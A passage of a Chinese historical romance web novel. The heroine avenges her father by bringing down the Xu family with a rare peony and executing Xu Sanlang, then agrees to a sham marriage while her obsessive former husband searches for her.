姜秋姝又是被五叔请了人来教导规矩,又是罚抄写的,五叔分明也是不满姜秋姝的,想要将人变成郑六娘模样。 如今赝品没了,真品又回来了,皆大欢喜才是。 裴秋月说出了心里话,裴珉站了起来,眼里阴寒闪过,“你是从何处听的?” 裴秋月吓了跳,即便五叔再严厉,也不会有这般要吃人的模样,“大家都…都这般说。” 只他们夫妻间亲密事,她是从锦瑟嘴里晓得的。 裴珉抓住她的脖颈,狠狠收紧,“便是你气走了你五叔母!” “咳咳,”裴秋月剧烈的咳嗽起来,她五叔是疯了吗? 裴秋月身体颤抖着,从嗓子里艰难的说出了几个字,“你答应…过阿耶…会咳咳,护着我。” (′з(′ω‘*)轻(灬ε灬)吻(ω)最(* ̄3 ̄)╭甜(ε)∫羽(-_-)ε`*)毛(*≧з)(ε≦*)整(* ̄3)(ε ̄*)理(ˊˋ*) 裴珉松了手,可眼里的狠厉未曾消散,府中太多嚼口舌的了。 为何他从没有听过,她是听了这些伤心,才走了的吗? 所以…她是呷醋才走了? 侍卫将裴秋月的院子翻了个遍,没有寻到什么异样,倒是瞧见了张药方,他想了想还是拿给了裴珉。 裴珉将药方扔到了裴秋月身上,“瞧瞧你不顾世家女风范,也要抢到手里的废物!” 裴秋月原是看不懂的,可经过裴珉身边懂得药理的侍卫说,才晓得这药方的作用。 赵士远看见药方的那刻,所有尊严皆被踩在脚下,犹如赤裸的站在众人面前,他想要去抢,可是被裴珉的人给压着。 “啊啊!别看,都是假的。”他拼命道。 他本是要振兴赵家的,即便形同赘婿,即便娶了裴秋月这个刁蛮的女子,抛弃了他所爱,可他连做男人的能力都艰难得很! 裴秋月一阵青红,想起了姜秋姝的话,可在赵士远巧言令色中,没去查,此刻披露,她恼怒的掌掴着他。 “你个废人!” 裴珉不想理他们的闹剧,离开了院子,没想到郑明恪却等了许久了。 两人落坐后,奴仆只上了裴珉的茶。 “师兄,五夫人的事我也听闻了,”郑明恪一脸惋惜,看了看裴珉苍白大的脸安抚道,“师兄,您也别太难过,五夫人必定也不想瞧见这般的你。” 裴珉不语, 郑明恪从未见过这样的师兄,本是来探听口风的,此刻也不好说什么。 “府中的红绸是为了太公收郑六娘为干女准备的。郑六娘既然已经醒了,便也没有办的必要了。”裴珉道。 郑明恪脸上神色冷了,谁稀罕什么干女! “师兄便要如此不守诺言吗?” “何曾应下此事?”裴珉看着他,眸子里的寒光加深,“自始至终,便是要收为府中的干女罢了!” 郑明恪也才反应过来,他不过是被定国公府的人给戏弄了,不过是想要木已成舟,叫他说不出来话罢了。 裴珉从袖中拿出一物递了过去,“这次退婚书可不会丢了!” 郑明恪接过东西,如今他夫人的位置空悬,不要撕破了脸,徐徐图之便是了。 他提议道:“夫人既然已经死了,不若以裴五夫人的身份立个衣冠冢,也别叫她孤魂无依。” “滚!”裴珉冷声道。 “师兄你!”郑明恪惊愕地看着裴珉,雅正如裴珉,怎会说出这样的话! 裴珉将折扇扔给了他,“因老师的原因,我留你一命,此后形同陌路。” “只是因一女人而已,师兄!”郑明恪不可思议的看着他。 裴珉不想多言,直接叫人驱逐了他。 ~~ 深夜,裴珉自惊梦中醒来,额前细汗不止,梦里光怪陆离,甚至有她在雨中被淋湿,朝他喊救命的。 可更多的是她初入府,千方百计往他身上靠的生动之色。 他脑中想的更多也是那个模样的她。 裴珉再也睡不下去,什么坠崖不过是骗人的! 东鸣山的土呈红褐色,那双沾了泥的鞋底,分明不是那个颜色。 她便是要装死,好脱逃罢! 裴珉望着窗外,说不上多久未曾睡个好觉了。 房间里如往常一样,是姜秋姝住过的痕迹,她离开的洒脱,连封信都没留给他。 如此决绝的和他划清了界限! 又一日快入夜时,裴珉在书案上写着东西。 “去将这些东西给我买回来。”小厮看着裴珉列的书单,脸上表情犹如冻住了。 这上面的哪个与风月事无关!若非娘子离开了,五郎便失心疯。 一向持重的五郎,怎会想要看着污糟东西! “没听见?”裴珉不耐的说了声,小厮才回过神来,连忙称是,离开了房间。 他若是学好了夫妻事,她会不会那般决绝的离开了? 房里似乎还存在着姜秋姝的痕迹,那些衣裳发簪皆是她穿戴过的,可味道很淡, 她什么都没有带走,只除了那盆早就被毁了的洛阳红。 裴珉拿起件小衣,嗅了嗅上面的味道,也只有这种最为贴身的东西,才越有她的味道,也能叫他又短暂的安眠。 建安二十六年,圣人缠绵床榻,命圣后监国,群臣皆不愿牝鸡司晨,错了阴阳秩序,可圣人直接下了道圣旨,朝臣不得不从。 短短两年,大盛有了许多的变化,圣后雷霆手段惩处了不少贪官,引得不少朝臣臣服。 如往常般的初一,是定国公府请安的日子。 约莫辰时,本该是众人用膳的时候,可他们皆等着人,许久门口处有人才姗姗来迟,众人只是缄默。 那人走近,气度风华,月白色的衣袍,随着行动间飘逸,俊逸的容颜如旧,只是眼神多了凛冽。 其余人皆不敢拿目光直视裴珉,即便是裴珉来迟了,他们也不敢说什么。 两年前,裴珉犹如失狂的举动,叫全府吓了跳的同时他又将府中口舌失德的奴仆,当着他们这个主子的面,全部杖责百棍。 一下子定国公府哀声遍野,太夫人出面也阻止不了裴珉,国公爷也袖手旁观,甚至叫府中人皆听裴珉的。 后来几房的郎君在仕途上皆遭到了为难,裴珉只说他们夫人做了错事,该由他们这个做夫婿的还。 不过是说了些难听的话!以前也不见他这般维护姜秋姝! 姜秋姝离开后,裴珉像是变了个人,浑身上下煞气十足,不像是个文人,反倒是沾了血腥气的武将。 国公倒是越发对裴珉赞赏了。 他裴家的男子,就该有血性。以往的裴珉虽然出彩,可到底是文人性子,没他武将家的传承。 裴珉朝国公行了揖礼,直接离开。 他甚至都未朝太夫人的位置看上一眼,众人也不敢说什么。 太夫人原是沉静地拨动佛珠,后面速度快了起来,尤其是看见国公对裴珉的纵容。 赶走了姜秋姝,反倒是成全了裴珉,叫他越发得国公看重了。 “五郎不若留下一起用早膳。”太夫人出声阻止了他离开的背影。 裴珉头也未回,甚至都没有停顿。 太夫人委屈的看着国公。 国公拍了拍太夫人的手,“五郎受圣后看重,忙。” 太夫人更加不甘心,朝着裴承的方向道:“三郎君也忙,如今入了金吾卫,也没五郎那般忙啊!” 国公爷只笑得越开心,“皆是我裴家的好男儿。” 太夫人咬了咬牙,照此下去,国公爷只会觉得裴珉更适合当府中的下一任郎主! 裴珉回了房间,屋子里摆设如旧,她的味道淡了很多,他看着从三十二州传来的消息,皆无姜秋姝的踪影。 即便她的家乡扬州,他前前后后翻了不下五次,皆没有她的身影。 大周共有三百多个州,茫茫人海,何处寻她? ~~ 江都县中最繁华的街,花坊里外摆放着不少的花卉。 百姓来来往往,皆不空手。 姜秋姝自坊中往外走,忽然一官差拦住了她的身影,“大人有请。” 原是在算账的冬葵立刻站起身来,姜秋姝朝她甩了个眼色,叫她安静些。 冬葵是她在来江都时捡的,那时已经病重,是从禹州到扬州逃难的,结果走了半路染了风寒。 姜秋姝让官差等了她会儿,她回屋去拿了个幂篱戴上。 宋执书坐在行刑台的最上面,姜秋姝走了过去。 能在江都县遇上宋执书实乃意外,前年科举后,宋执书便中了,后派到了江都当县令。 姜秋姝其实并没有认出他来,而是在街上他瞧见了她,喊了声,“裴五夫人。” 原来宋执书早就晓得她的身份,宋执书意外她来了江都,却也没有多问,只是说感恩她的帮助,时常照看她些。 宋执书担忧的看着她,“要不还是算了?” 姜秋姝摇头,看了看邢台上披头散发,双鬓生了白发,已经落魄之人,她说过仇要自己报。 布局两年,终于等到了今日。 姜秋姝走到刽子手面前,刽子手立刻双手奉上刀,然后站在了一侧。 虽未曾见过这个小娘子的样貌,瞧着身形,声音,也当是娇滴滴的,她怎敢呢?! 姜秋姝拿起刀走近,蹲下身来,“徐三郎,喔不如今该叫徐郎主了。” 徐三郎抬头,灰暗的眸子仍是对生命的渴望,“不要杀我,救救我,你要多少钱我都给!” 姜秋姝勾着唇角,抬高了大刀,锋利的刀锋透着寒光,她冷声道:“记住我乃扬州天长县姜松的女儿,姜秋姝。去地底下给我阿耶恕罪!” 姜松在徐三郎的记忆中早就褪了色,他甚至都记不得此人,此刻只有恐惧。 手起刀落,头颅身子被分离,那张脸死前眼睛瞪得老大。 血透过幂篱,白色的轻纱腥味儿一片,姜秋姝扔下刀,只觉得痛快。 一滴眼泪自眼角划过。 阿耶,女儿替你报仇了。 第38章 第38章见面 皓月当空,春日最美的姹紫嫣红,尽数藏在院中,姜秋姝提起酒杯给对面的人倒了些,给自己倒了满杯。 冬葵虽一直在如意花坊,可刑场的事,县中口口相传,皆道白衣女子似天女下凡,整治恶徒。 虽不见其样貌,可女子气度不凡,挥刀时干脆利落,英姿飒爽。 冬葵是清楚的看着徐家如何覆灭的,可其中任有许多看不懂,她好奇地问道:“不过是一株牡丹,竟然能够引得徐家与王家相争,引火上身?” 只因一盆花?便能离间两个世族? 姜秋姝将杯中酒应尽,对着皓月举杯,美丽的东西不过是两族相争的外因,他们早就积怨久矣。 可偏偏要为此事冠上个污名,逐渐成了两大世族,为了争‘美’,徐家为了夺牡丹,花费数万两与王家相争,引发内乱,王家抖落徐家租地多租,为了逃赋税造假一事。 皆暗叹,不过一株牡丹花,怎能引起这般的波乱,折损了一个家族。 事实呢? 姜秋姝初来江都县,便用那一万两买了个铺子,卖起花来,经过一年又培育出了世间罕见的水绿色牡丹花。 名人雅士皆写诗赞扬,引起了一片波动。 自古来喜爱牡丹者众多,也有人说牡丹虽华贵,但终究不如寒梅冷傲,不及兰花孤洁。 可姜秋姝所培育的水绿色牡丹,倩姿窈窈,花瓣往外舒展,独特的没了艳俗之感,与枝叶相近的颜色,衬的花瓣清丽,叫人见之难忘。 多的是文人雅客泼墨挥毫,才叫这牡丹在江都出了名。 小小一家如意花坊,也真正出现在江都县世家眼中。 那时,如意花坊被围的水泄不通,甚至王家的郎主愿意花高价将其买下,姜秋姝只婉拒道:“此牡丹用作培育,不买。” 王家本是有了夺爱之心,扬州节度使夫人最喜爱牡丹,他是想要买下献给节度使夫人。 言辞间说了不少威胁的话,姜秋姝都未接招,不过却也换了副语气,“此花待我培育好,可免费赠送给王郎主。” 不花钱,便能得到此物,王郎主更是欣喜。 而后这牡丹又多了些溢美之词,将此牡丹传的神乎其神。 姜秋姝晓得这是王家所做,他既要献礼,自然要更加宣扬其名声。 越多人喜爱,又没有亲眼所见,多是在画上,诗词歌赋上所听闻,罕见之物才越有价值。 姜秋姝默默的瞧着这一切,甚至也跟着添了把火。 江都由王家和徐家把持着,她到江都后故意租赁了徐家的土地种花。 徐家瞧着王家人将要献上罕物,巴结节度使,自然心急如焚,生怕王家的权势压制住了他们。 也开始大肆收集宝物,可眼瞧着牡丹在扬州名声水涨船高,几乎没有能够掩盖住其风华之物。 有门客献计,说他们如意花坊租赁的是他们的土地。 隔日徐家的人上门,他们颐指气使,言明不许将牡丹给了徐家,不然便收回租赁之地。 姜秋姝瞧着好笑,徐家三郎如今徐家家主,早就忘了那个被杀了父,告衙门无门的孤苦女子。 她立刻做出了惊吓的模样,叫人送了信给王家。 王家得了信息,先是感激姜秋姝的及时告知,对徐家这般行为尤为唾弃,言王家会护住她。 只是她需要尽早将牡丹献给他们,才能护住她。 姜秋姝哪里能看不出王家想要空手套白狼,她擦着眼泪,啜泣声起,“我不过是一花坊老板,做生意的平头百姓。徐家欺人便罢了,可他们竟然对王郎主不敬。曾直言将牡丹给了他们,王郎主即便晓得了,连个屁都不敢放,还说这江都本是他们徐家把持着。王郎主不过是外来之人,怎站了别人的地皮,就不要脸起来。” 姜秋姝抬头看了王郎主眼,做出害怕的模样。 王郎主老谋深算,自然不会被姜秋姝的话所激。 “我是诚信之人,既然答应给王郎主牡丹,便不会另给他人!徐家便是卑劣的,分明给我租赁了地,昨日我才晓得好几拨人与我同租了一块儿地。” 说着说着姜秋姝又抹起眼泪来,“可怜我被蒙蔽,白纸黑字签了字,就算是告到了官府也无济于事。” 王郎主眼中有过深思,“此事当真?” 姜秋姝点头,“也就我运气好,遇上了王郎主,其余晓得此事的人皆被徐家人给驱逐了,求告无门。” “徐家道江都乃是他一人的天下,他们只手遮天,我也是怕极了。若是王郎主实在比不得徐家。我便毁了那牡丹吧!这样也就两家不得罪了!”姜秋姝擦着眼泪,说着。 一听姜秋姝要毁了牡丹,原本还气定神闲的王郎主急了,“你且安心,我会为你做主的。” 可徐家人见姜秋姝没有动静,派人将她种植的花,全部给毁了。 姜秋姝因牡丹本就在江都有了些许名声,此事出她更是宣言,牡丹只赠有缘人,若是强求,便毁了牡丹。 她抱着牡丹站到了如意花坊前,一副要要鱼死网破的模样。 这牡丹花只姜秋姝培养出来了,惜花人见不得盛传的牡丹被毁,王郎主更是出手极快。 不过三日,关于徐家赋税不缴的事儿满城皆知,徐家被罚了许多的银两,只是徐家推出了管事儿当替罪羊,被下了大狱。 两家原是风平浪静下的暗流涌动,因此事彻底撕破了脸面。 真正让徐家覆灭的是,佃农抬着尸体上了公堂,状告徐家滥杀无辜,良人杀贱籍按大周律例无罪而杀,徒一年。 徐家也是仗着此事丝毫不惧,可风骤起,聚冤屈,与其同时,数封状纸被呈上了公堂,其中不少是徐三郎欺凌租赁土地的良民。 官府由此查下去,牵扯出不少命案,徐三郎还只当此事如以往般,给了钱财便能了事,可有王家坐镇,和宋执书这样的耿直人。 徐三郎很快被判了刑法,处死刑。 徐家彻底覆灭,王家没了对手独霸江都,更是喜闻乐见。 因一盆花,而覆灭了一个家族,如意花坊的名声在江都一时大燥,水绿色牡丹更是有了驱凶除恶的吉名。 江都人可苦徐家久已。 姜秋姝侧目看着那盆只长出茂盛枝叶的牡丹花,还未到开花的时节,便能如此名动,日后必定能够流芳。 姜秋姝抿了了口,笑了起来。 “哟,有人来了,”冬葵醉中瞧见了个人影,胆子也比平日里大了些,“姜娘子可也是等着大人了。” 这位县令大人可是与姜娘子私交甚多。 宋执书红了脸,他拱手施礼后才落坐。 “莫胡说。”姜秋姝冷声呵了冬葵。 宋执书一片黯然,可见姜秋姝亲自替他倒了酒,他立刻换上了笑颜。 能够除了徐三郎,宋执书帮了她良多,即便借了王家的势,可若是没有官府秉公执法,一切空谈。 她阿耶便是受了冤屈,官府断案完全偏向了徐三郎,甚至叫她阿耶背了污名,说是以下犯上死有余辜。 姜秋姝举起杯子,朝宋执书敬了杯酒。 宋执书只抿了口,被呛的咳嗽起来,姜秋姝连忙递了手帕过去,又替他重新倒了茶水。 宋执书羞愧的通红,堂堂男子连酒都喝不了,她也不晓得会如何看他。 一想到这里,他没去动茶水,反倒是将酒水喝了干净。 “不必勉强。”姜秋姝劝道。 “如意花坊的酒好喝。”宋执书看着那张俏丽的容颜,移不开目光。 洛阳里的人寻了她许久,江都多了几番寻她的暗令,皆被他给藏下了。 宋执书未曾见过裴珉,却也听过他的名声,是他比不上的,可他想要自不量力。 当他被世家子折辱抢了画,踩伤了手,是她派人将他送到了医馆,告诉他谋定而后发,无实力只是愚者的自命不凡。 今日的折辱,皆会化成来日的阶梯。 他记住了她的话,她是他的一言之师。 如今他也成了一方父母官,围观本分,为民请命。 两人竟然还能在江都相遇,真是缘分。 冬葵看着宋执书目不转睛,转过头去忍了忍笑意,这位宋大人每次见了姜娘子真是有够扭捏的。 犹如比起娇滴滴的小娘子。 什么酒好喝,她看他是醉翁之意不在酒。 姜秋姝倒是没在给他倒酒,只是郑重得给他道了谢。宋执书连连推辞,这本就是他该做的。 看着她认真的模样,宋执书有些惊恐,此举倒像是在告别。 “如今仇已报,姜娘子有何打算。”宋执书试探道。 姜秋姝笑道:“江都风景好,两年来多忙事儿,还未闲下来好好看看风景。” 她心愿已了,再也没有待在江都的理由,只是没有与宋执书说的必要。 “阿婆近日身体不好,也常常念叨着你,拜托姜娘子若是有空闲,便去陪陪她。”宋执书提起宋太夫人,眼眶湿润。 姜秋姝点头,在江都两年,宋太夫人对她也是极好的。 窗外鸽子咕咕声响起,姜秋姝打开窗,自鸽脚的信桶,取出了纸条。 她想应该差不多了,时间也快要成熟了。她触摸着牡丹茂密的枝叶,总不能一直躲着藏着。 该去洛阳了。 隔日,她采了些花,又做了些点心,去了知县府,宋老夫人缠绵病榻听闻她来了,连忙叫嬷嬷伺候她起身。 姜秋姝被请到了内室,药味儿浓厚,比起她前几日来时,还重了些。 宋太夫人靠在软枕上,朝她招手,姜秋姝走了过去,拉住了太夫人的手。然后将花递给了嬷嬷,让她寻个花瓶插起来。 “好些时日未来了,阿满怕是快将老太婆给忘了。”宋太夫人笑道。 姜秋姝在江都化名姜满,她晓得洛阳城里的人在寻她,他虽然寻不到,可也需得谨慎些。 “阿婆,我可是日日都记挂着您,这不今日便来看您了。”宋太夫人待她极好,让她觉得身侧也有了亲人的感觉。 姜秋姝将盒子打开,“这是我做的桂花糕,阿婆尝尝。” 宋太夫人拿起来咬了口,软糯香甜,适合她这般年岁的。 可惜刚用了膳,嬷嬷在旁边提醒道,不可多用,免得积食。 宋太夫人指了指匣子,便有个老嬷嬷将东西拿来了,她打开,里面是一套衣服。 “好好的小娘子也该爱美些,瞧瞧你整日栽花松土,也不晓得好好打扮自己,这是我闲暇时做的。”宋太夫人将衣服在姜秋姝身上比了比。 姜秋姝抓住了她的手,上面干枯满是皱纹,就犹如皮包骨般的模样。 她看着这件衣裳,心发软,宋太夫人是她这么多年,除开亲眷待她最好之人。 初识时,到过府中拜访过她,后面便时常请她到府中用饭,即便她只是个种花的商女,宋太夫人未曾有过嫌弃,常常帮扶她,依着知县祖母的身份,替她赶走了不少的地痞流氓。 “阿婆,您好好休息,不必为我劳神的。” 宋太夫人兴致勃勃的叫嬷嬷陪着姜秋姝到内室去换下这件衣服。 等她穿好,走出来时,宋太夫人笑着,“人美,连衣服都衬的好看了。” 姜秋姝也跟着笑了起来。 药好了,姜秋姝端着碗,小心地给宋太夫人喂着药,宋太夫人看她贴心的模样感叹道:“谁家娶了你,是他的福气。” “不瞒阿婆,我曾嫁过,只是过的不好。”姜秋姝认真道。 宋太夫人对她的好意,她知晓,也隐约晓得了她的心思。 宋太夫人只是心疼的看着她,“是那人不懂得珍惜,阿满这么好一小娘子受苦了。” 姜秋姝眼眶发润,望着宋太夫人的眼神,有些哽咽。 “我家大郎,双亲皆亡,是我护着他长大的。是个孝顺懂事的孩子,他日后若是能娶的你这般温善的小娘子,便是他的福气。” 宋太夫人自宋执书第一次将姜秋姝带回来,便晓得她的孙儿有了心思。 这小娘子长得美,一双眸子又满是韧劲儿,她瞧着也是欢喜的。 尤其是相处下来,晓得她是个好的,也可人儿的很,可惜待她孙儿无旁的意思。 姜秋姝继续喂着宋太夫人喝药,并不晓得如何搭话。 她对婚嫁之事,已经没了任何的期待。 宋太夫人喝了药睡下了,她便起身告辞。 嬷嬷送姜秋姝出去时道:“姜娘子该多来,太夫人瞧见您,精神儿都好了很多。” 姜秋姝却面色染了愁绪,“嬷嬷你老实告诉我,太夫人身体到底如何了?” 嬷嬷叹了口气,也有了些哭腔,“太夫人年岁已高,好些猛药都不敢用。” 姜秋姝心也跟着揪了起来。 余下的时日里,她时常来府中陪着太夫人,也算她离开江都做的最后一件事。 一列人马往扬州的方向而来,李明澈看着前面扬鞭的裴珉有些讶异,天后派人巡查河道,此事本用不上裴珉。 可偏偏他主动请旨,此事可不算什么轻松的活计。 扬州一带,水患频发,稍有差池,可引得民声载怨,若行事得当当利国利民,有利于威望。 可在李明澈看来,裴珉倒不是为了那虚妄的名声来的。 裴五夫人祖籍便是在扬州,已经两年了,他还没有死心! 一行人刚到扬州,便上了船行水路,船夫是个好客的,见他们是外地来的,说起扬州城里的趣事来。 尤其是近日,为了一盆花,徐家覆灭的事传的沸沸扬扬。 “那牡丹可是天赐之物,”船夫撑着杆儿,“能够惩恶扬善,也是牡丹仙显灵,扳倒了徐家恶徒。还受了冤屈的百姓一个公道。” 李明澈在洛阳也曾听闻过,扬州属下县城培育出一株罕见牡丹,不少文人雅士皆传赞牡丹的神韵。 只是这惩恶扬善,牡丹仙,未免过了些,太玄乎了! 李明澈倒是好奇了起来,又听闻这培养牡丹的人倒是低调的很,皆晓得牡丹却极少传颂此人。 裴珉听着,摸索着腰间的香囊,牡丹二字叫他分出了些神,世间喜爱牡丹之人便有个她。 她的那盆洛阳红,被她照顾的极好,他每每都能瞧见,只是从没有问过她,为何那般喜欢。 船随水而下,裴珉看着此地的钟灵毓秀,这是她的故乡,人杰水灵。 ~~ 姜秋姝在算着账目,又叫冬葵做出了减价的招牌,摆在最显眼的地方。一下子如意花坊更是被围的水泄不通。 极多的人皆是在问她牡丹花的事。 她只说未到花期,暂且不端出来赏鉴,他们皆失望,可还是瞧起了其他的花。 “姜娘子?”姜秋姝抬头,王郎主大步而来,解决了徐家,他可谓春风满面。 “姜娘子说赠我的牡丹,何时兑现啊!” 姜秋姝合上账册,看着王郎主的来者不善,耐心回道:“郎主未免太急了些,本是培育好了再给您的,如今尚未到花期,您稍等。” “也不必培育了,我王家的花匠皆是巧手。”王郎主如此道。 如今这一盆牡丹在大周境内皆有了盛名,其价值不言而喻,早不到手,他不安心。 不少他地的世家,皆打起了此花的主意,迟早这个小小的商女护不住的。 他亦怕被旁的他惹不起的世家所夺。 “王郎主稍安,此花是我培育,无人比我更了解,若是真的换了旁的花匠,若花毁了,谁又付得起责任?”姜秋姝反问道。 王郎主也是有过担忧的,牡丹毁在他手,必定会遭到天下人的唾弃。 可眼瞧着要入他手,若是被旁人所夺,他也不甘心啊! 他想,先拿到手,早早脱手,便与他无关了! “姜娘子其他少管,还是尽早将花给我,”王郎主道,“姜娘子是要反悔吗?” 王家如今算称霸一方,自然不怕个小小商女,只是江都谁不晓得如意花坊的主人与本县知县交往密切。 可望郎主转念一想,宋知县应当不会娶个商女,自降身份吧! “我是说过给,但目前并未培育好。”姜秋姝亦不让步。 王郎主朝奴仆暗示了番,像是要抢的模样,剑拔弩张间,忽然响起了道声音。 “王郎主未免放肆了些!”听到了这声音,姜秋姝连忙转头,看见宋太夫人杵着拐杖过来,她连忙去搀扶。 王郎主认得宋太夫人,本地知县的祖母也,是得给上几分薄面的。 “此话既是阿满的,王郎主就该听阿满的。如今咄咄逼人,持强凌弱还有没有王法!”宋太夫人看着王郎主,不紧不慢道。 “牡丹是姜娘子说过给的,我此次来要,是天经地义,太夫人也莫要偏袒了自家人。”王郎主看宋太夫人对姜娘子的姿态,便晓得两人关系匪浅。 他虽不惧怕,可到底不能与其撕破脸,只能站在最高处指责。 旁人听了,也觉得王郎主不过是要姜娘子遵守诺言。 “我当初答应王郎主的,是培育好了给你,可如今花期都未到,只去年盛开了一次,谁又能确定今年定会盛开呢?”姜秋姝言辞诚恳,“王郎主,我也是为了您好。晓得您要将花送人,可若是送了盆不会开花的,岂不是得罪人嘛!” 此话亦是有理,王郎主被说中了心思,打着世间最罕见的牡丹花的旗号送了人,日后若是没能开花,就不是送礼,而是故意弄噱头,得罪人了。 王郎主一下子噤了声,问道:“姜娘子可有确切的时间!” 姜秋姝不假思索道,“没有!” 王郎主想怒,又看在宋太夫人的面子忍住了,“我只给你两月。两月后我便来取了花,若是未开,可别怪我了。” 姜娘子又没占王郎主什么便宜,都说是送了,一副花未开便要找茬的模样,着实生厌! 姜秋姝却晓得王家为这牡丹付出了多少,大周如今有此牡丹的盛名,可得多亏了王家。 她勾了勾唇角,可惜都是为她搭了桥,铺了路。 宋太夫人拍了拍姜秋姝的手,叫她别担心。 姜秋姝朝她递了个安心的神色。 ~~ 听人讲了一路牡丹,李明澈好奇的很,硬是拖着裴珉来了江都一睹风华。 他们坐在茶楼处歇脚,楼下声音吵嚷,有小二解释道,是王郎主向姜娘子要牡丹的事。 一句姜娘子,叫裴珉侧目,李明澈看他这般模样,只觉得情字一字,害人的很。 天底下姓姜,江,蒋的人何其多。 偏他只听了个字,便如同骤然睁眼的猛兽。 此处正对着如意花坊,他们推开窗,便看见了楼下的风景,忽然来了个老人家,百姓皆让了路。 听闻是姜娘子情郎的祖母,正是来解围的。 不多时,王郎主走了,台阶上宋太夫人被女子给扶了出来,李明澈看的入神,瞧清女子的样貌,他瞪大了双眼。 忽地听见了瓷器碎裂的声音,李明澈转眸只看见桌上的血迹,和留下残影的裴珉。 第39章 第39章婚事 姜秋姝将宋太夫人送回到县令府时,时辰不算晚了,被留着用了晚膳。 宋太夫人今日瞧着精神好,不光去县城里逛了逛,还陪着他们说了好一会儿话,可只过了半日,便又变了。 宋太夫人原是靠在椅子上浅笑着,当嬷嬷说了趣事还附和,可不多时身子逐渐往下滑,晕了过去。 宋执书几乎被吓得失了神,好在姜秋姝反应极快的让人将宋太夫人搀扶到房间,连忙叫人去请了大夫。 约莫一个时辰后,大夫施了针,宋太夫人才醒了过来。 大夫将宋执书叫到了旁,说着话。 宋太夫人瞧着好多了,其实不过是回光返照之像,如今心愿未了,怕是走的也不安宁。 宋执书听后脸煞白,几乎勉力的撑着,未叫自己倒下去。 帐幔后面,宋太夫人呼唤着宋执书,宋执书整理了番,收起所有的灰败,走到了宋太夫人身边,耐心的安抚着,“阿婆,您没事儿,就今日太劳累了。” 姜秋姝一脸愧疚,宋太夫人为了给她撑腰,必定劳费了许多的心神。 宋太夫人拍了拍宋执书的手,她哪里不晓得自己的身体。 “你们都是好孩子,”宋太夫人拉着姜秋姝和宋执书的手,“阿婆活了一辈子,也无甚所求,只希望你们日后能够过的安稳。” 宋太夫人看向了宋执书,眼底有殷切的希望,“执书,你是最让我担忧的了,性子太过刚直。容易得罪人,官场多狡诈之辈,你得护好自身,为宋家传宗接代,日后宋家都靠你了。” 宋执书眼底泪光闪烁,他抓住宋太夫人的手,“阿婆还得替我带孩子,说这些话是想要偷懒嘛!” 宋太夫人摸了摸宋执书的头,没再言语。 她又看向了姜秋姝,“阿满是个好的,如今花坊里那株罕见的牡丹惹了不少人的眼,早日脱手,才能护好自己。” 姜秋姝点头,“阿婆安心,我会的。” 见他们有话要说,姜秋姝直接离开了房间。 过了会儿,宋执书走了出来,“我送姜娘子回去!” 姜秋姝连忙拒绝,让宋执书留下来照顾宋太夫人,可宋执书好似有话想要和她说。 她便同意了。 夜色如墨,街上几乎没了多少人,宋执书在前提着灯笼,他今日身上笼罩着许多的愁容。 姜秋姝主动开了口,只能安抚道:“太夫人好好修养会好的。” 其实他们都晓得,只是话太清楚,更会悲伤。 “是啊!”他多希望阿婆长命百岁。 宋执书提着灯笼,停下了脚步,转身看着她,“阿婆如今危在旦夕,她临终前,最渴望的,便是瞧见我成婚。我晓得婚嫁之事靠的是两情相悦,我并无逼迫娘子的想法,只是姜娘子,我待你心思与旁人不同。若是能与你白头,是我之幸。” 宋执书目光紧紧盯着她,若说了,此事有故意之举。 阿婆与她关系极好,她有慈善之心,自然看不得阿婆因此郁郁而终。 可无论如何他也想问问她,也是全阿婆和他一个心愿。 姜秋姝看着他,他眼神坦荡,甚至在她看过去的时候,更是头一次想要将她深深的刻在眼底。 一阵凉风吹过,姜秋姝环顾四周眼,总觉得另有一双眼在注视着她,可当她寻找时,却又什么都未曾看见。 “我心头并无宋郎君。”姜秋姝直言道。 宋执书眼神灰暗,可接下来姜秋姝又道:“便是如此宋郎君也不在乎吗?” 宋执书从未有过这般的喜悦,他下意识的抓住了姜秋姝的手,“姜娘子是同意了?” 黑暗里,裴珉注视着一切,他们的声音很小,听得不大清楚,可是当两人并肩,面面相对,那男子眉宇间的情谊,根本就没有掩饰。 他瞧见姜秋姝笑着恬淡,他眼神阴郁而又深邃,隐在黑暗中,瞳孔犹如深不见底的悬崖,随时都能坠入不见五指的阴暗之地。 这般温柔的笑,多久未曾出现在他面前,而今只是对着个普通男子。 他身上散发着阴森的气息,恍若冷到了极致。 随着两人的走近,声音也逐渐的听清楚了些,眉宇染上了丝戾气,他盯了那张倩影许久。 他说过,姜秋姝只能是他的。 其余的他都当没听到! 他不许,她也嫁不了旁人! 姜秋姝不答,可平白的那种被注视的感觉越发的深了起来,她便没有回答他,宋执书还当她默认了,喜色没遮掩。 等两人过了西街,到如意花坊门口时,姜秋姝才将事情与宋执书说明白了。 “我应下此事,不改户籍,不入族谱,只宴请宾客,且以姜满的名义。” 姜秋姝虽对婚嫁一事并不在乎,可她接下来要做的事,便是要让她没有后顾之忧,若是以姜满的名义,日后若出了事,才不会连累到宋执书。 宋执书立刻就明白了她的意思,假成婚。 他脸上的笑维持不住,甚至隐隐的难受,他以为两年了,在她心里,他总该有不同的。 “此事,主要是为了安太夫人的心,宋郎君若是不愿,便罢了。”姜秋姝道。 她将要进如意花坊,宋执书拦住了她,他自嘲道:“我便如此不入姜娘子的眼吗?” 姜秋姝摇头,“宋郎君极好,日后自然有良缘,我总是要去洛阳的。宋郎君,我不会在江都多待。” 宋执书捏了捏拳头,“好!此事麻烦姜娘子了。” 也是圆了阿婆的愿望。 其余情爱之事两人都不提,此刻只为了那个缠绵病榻的人。 今日太晚了,有些事白日好商议,宋执书将姜秋姝送到后,便离开了。 两人要成婚的消息,随着县令府购买婚仪所需要的东西,传遍了江都。 同时也晓得了,宋县令要娶之人,竟然是如意花坊的老板,姜满。 两人以前也曾有过传言,但大都不了了之,只是上回宋太夫人在王郎主面前护姜娘子,他们便想过姜娘子十有八九会进宋府的门。 婚事定下,百姓欢呼,宋县令勤政爱民,姜娘子又国色天香,品性没得挑剔的,两人结合,百姓喜闻乐见。 ~~ 漆黑的房间里,裴珉捏着腰间的荷包,没曾想,再次遇到她会是这般的模样,她彻底的将他忘了干净。 他们以往是如何的琴瑟和鸣?她甘愿为他遵循繁琐的规矩,为他绣荷包,给他做羹汤,她心中定然是有过他的。 只是他疏忽了,叫她失望,才会叫她离开了他。 那个男子趁着,他不在他身边,诱惑于她,错的不是她,而是无耻下流的男子。 她身侧之人,可真是碍眼啊! 一双眼充满了戾气,早就没了当初温和的模样,李明澈推开房门,见里面暗得很,他点燃了烛光。 